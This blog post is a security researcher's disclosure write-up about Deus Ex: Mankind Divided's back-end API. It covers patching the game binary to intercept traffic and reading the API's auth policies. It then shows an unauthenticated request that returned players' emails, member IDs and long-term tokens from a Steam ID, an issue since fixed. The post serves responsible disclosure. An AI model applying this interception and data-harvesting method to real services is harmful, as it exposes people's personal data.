Update: The vulnerable endpoint was fixed some time before September 7, 2022.
Scenario
I recently spent some time messing with
Deus Ex: Mankind Divided, seeing as it's the latest (and possibly last) installment in one of my
favorite video game series. At first I did a bit of reverse engineering on
the game files; when I got bored of that, I decided to take a look at the
game's network traffic. This led me to discover not only a player
information disclosure, but techniques for cheating in the semi-online
features. Highlights include:
- Unauthenticated access to player email addresses (if the victim has their platform account tied to their Square Enix account)
- The ability to obtain infinite premium currency
- The ability to view and modify other players' characters and inventories
This blog post specifically focuses on the player email disclosure
vulnerability.
Setting Up Debug Capabilities
A key technique for software analysis is run-time debugging. For video games
on Windows, most people (myself included) use
Cheat Engine. My first attempts at
debugging resulted in a crash after the launcher and splash screens (at the
point when the main menu would typically load). Apparently this is a
common issue
with the Windows debugger that can be solved by using the VEH debugger
instead. Simple enough.
Network Analysis
Once I had debugging capabilities, I started looking at network traffic.
Using WireShark to dump traffic on
my primary network interface, I saw a DNS query for
dxng.os.eidos.com, followed by
TLS-protected traffic to the resolved address. There are multiple ways to
intercept HTTPS traffic (e.g., installing a certificate on the system and
performing
MitM),
but I decided to try something different.
Running strings on the game
executable, I found base URLs that looked relevant to the traffic I saw in
WireShark:
$ strings DXMD.exe | grep os.eidos.com
https://dxng.os.eidos.com
https://dxbreach.os.eidos.com
https://notification.os.eidos.com/game/
Using a hex editor on the executable, I modified the URL schemes to use HTTP
instead of HTTPS, and the domains to be 127.0.0.1 instead of the originals.
This made the URL strings shorter, so I simply overwrote the ends of the
original strings with null bytes. The final URLs were as follows:
http://127.0.0.1
http://127.0.0.1
http://127.0.0.1/game/
The result of running the patched binary was exactly as I'd hoped:
clear-text HTTP requests to my local loopback address.
At this point, it was a simple endeavor to intercept and inspect the
traffic. One way to do so is to set up a simple Python HTTP server and dump
the traffic with WireShark:
$ python3 -m http.server 80
Another way would be to use the Proxy feature of
Burp Suite, which listens on port
8080 by default. Burp also facilitates request forwarding and tampering.
Techniques aside, I now had HTTP traffic to inspect. The first request was a
simple HTTP-based "ping," presumably to check if the back-end was up and
running. The second request was more interesting:
GET /game/os_GetServiceInfo HTTP/1.1
Accept:application/json
Accept-Charset:UTF-8
Host:127.0.0.1:80
Accept-Encoding:identity;q=0.9, gzip;q=1.0
Cache-Control:max-age=0
Content-Type:application/json
DX-ClientVersion:8
DataServiceVersion:2.0
MaxDataServiceVersion:2.0
OS-Age:0
OS-AuthProvider:1
OS-AuthTicketData:[REDACTED]
OS-AuthTicketSize:176
OS-Build:[REDACTED]
OS-Dest:prodnet
OS-GTime:6
OS-Locale:en,US,XX,
OS-OSVersion:[REDACTED]
OS-PID:DXNG-4.0
OS-Platform:steam
OS-Progress:0.00000000000000000
OS-SID:[REDACTED_SESSION_ID]
OS-STime:12998
OS-System:windows
OS-TitleID:337000
OS-UID:[REDACTED_STEAM_ID]
OS-XYZ:0.00000000000000000,0.00000000000000000,0.00000000000000000
OS-Zone:default_scene
User-Agent: OS/5.1.40/windows/official
The OS-UID header contained my
Steam ID, and the
OS-AuthTicket* headers indicated
that the game might be using the
Steam API for
authentication, at least in some capacity.
I forwarded this request to the real-world server (over HTTPS, as the server
does not listen on port 80 or accept plaintext HTTP traffic) and received a
lengthy JSON response with a ton of information about the API. I won't be
including the entire response here due to the size (>187KB); instead, I
want to focus on a portion of the response that caught my eye:
// ...
"FunctionImports": [
{
"Name": "os_GenerateSID",
"HttpMethod": "GET",
"AuthPolicy": "Policy.ANY"
},
{
"Name": "os_Authenticate",
"ReturnType": "Edm.Int32",
"HttpMethod": "GET",
"AuthPolicy": "Policy.GAME",
"Parameters": [
{
"Name": "s_uid",
"Type": "Edm.String",
"Mode": "In"
}
]
},
// ...
{
"Name": "os_GetServiceInfo",
"HttpMethod": "GET",
"AuthPolicy": "Policy.PUBLIC"
},
// ...
The FunctionImports array
appeared to be a description of all endpoints for this API and how to
interact with them. Note the entry starting at line 22 above;
os_GetServiceInfo
is the API endpoint I queried to retrieve this information.
The AuthPolicy field was
immediately interesting, as it seemed to describe the level of
authorization required to interact with a given API endpoint. Through
testing and intuition, I believe the different authentication policies are
as follows:
- PUBLIC: No authentication required
- GAME: Platform authentication; that's Steam in my example, but from my reverse engineering efforts I believe the API supports integration with XBOX, PlayStation, GoG, Google, and other game platforms.
- SEE: Square Enix employee
- GAMESEE: Platform authentication or Square Enix employee
- OS: Local authentication on the back-end server itself (perhaps any connection from localhost)
- ANY: Any of the above authentication mechanisms
Knowing this, I could interact with any API endpoint with an
AuthPolicy of PUBLIC, GAME,
GAMESEE, or ANY. Although
os_GetServiceInfo was PUBLIC,
the original request I intercepted was using GAME authentication:
OS-AuthProvider:1
OS-AuthTicketData:[REDACTED]
OS-AuthTicketSize:176
As expected, I was able to interact with the
os_GetServiceInfo endpoint even
when these authentication headers were removed.
Information Disclosure
Most PUBLIC endpoints were uninteresting, but I eventually found this one:
// ...
{
"Name": "SEM_Login",
"ReturnType": "game.SEMSubmit",
"HttpMethod": "GET",
"AuthPolicy": "Policy.PUBLIC",
"Parameters": [
{
"Name": "s_type",
"Type": "Edm.String",
"Mode": "In"
},
{
"Name": "s_value",
"Type": "Edm.String",
"Mode": "In"
}
]
},
// ...
The Parameters array describes URL
query parameters required by the API endpoint. Observing a game request to
this endpoint, I saw that the
s_type value was
UID and the
s_value parameter was a Steam ID.
I tested the endpoint with my personal Steam ID (note that the snippets below
this point have been edited to remove my information):
GET /game/SEM_Login?s_type=UID&s_value=0123456789012345 HTTP/1.1
Accept:application/json
Host:dxng.os.eidos.com
OS-Platform: steam
OS-System: windows
Viewing the response data, I became concerned:
{
"d": {
"SEM_Login": {
"__metadata": {
"type": "com.see.os.servlet.webservices.odata.sem.SEMSubmitResultDTO"
},
"s_SEMID": "451451",
"s_email": "jcd@unatco.gov",
"b_confirmed": true,
"s_longTermToken": "q8xVH9OyfuDSDsjQBRkw"
}
}
}
The unedited server response contained my personal email address, unique
Square Enix Member (SEM) ID, and something called a "long-term token," which I
assume is sensitive. This data is accessible to anyone on the internet who
knows my Steam ID, and Steam IDs are public. I also tested it with a friend's
Steam ID (with his permission) to confirm my findings.
Bottom Line
Anyone who linked their Square Enix account to their Steam (or XBOX, PlayStation,
etc.) account could have had their email address exposed via this web API. I
haven't investigated how the long-term token is used, but I imagine it's
abusable in other ways. Even if the token is non-sensitive, public disclosure of user email addresses is widely
frowned upon (see also:
CWE-359).
Worse yet, there are API endpoints that facilitate enumeration of every user
that ever played the game, and I discovered instances of this API running on
domains for at least eight games from Square Enix:
It was only a matter of time before a malicious actor discovered the
vulnerability and dumped all the data on Raid Forums or something.
I disclosed this issue to Square Enix on 2021-08-02, and they fixed it some
time between 2021-10-23 and 2022-09-07 (though they never followed up with
me). There was a period of at least several months (more likely several
years) when this API was exposed, so it's possible that it was scraped before
the fix.
Note: This was originally posted on my static website on October 23, 2021. I decided to move the blog to Blogger/Blogspot because managing a blog on a static site seems like unnecessary effort. Apologies for any formatting issues that resulted from the move.
No comments:
Post a Comment